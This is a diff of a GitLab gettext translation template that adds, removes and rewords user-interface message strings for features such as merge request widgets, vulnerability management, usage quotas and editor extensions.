@@ -32042,18 +32629,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,7 +35042,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36534,6 +37157,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37069,6 +37698,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37315,9 +37950,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,13 +40282,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41351,13 +42014,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41478,12 +42141,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
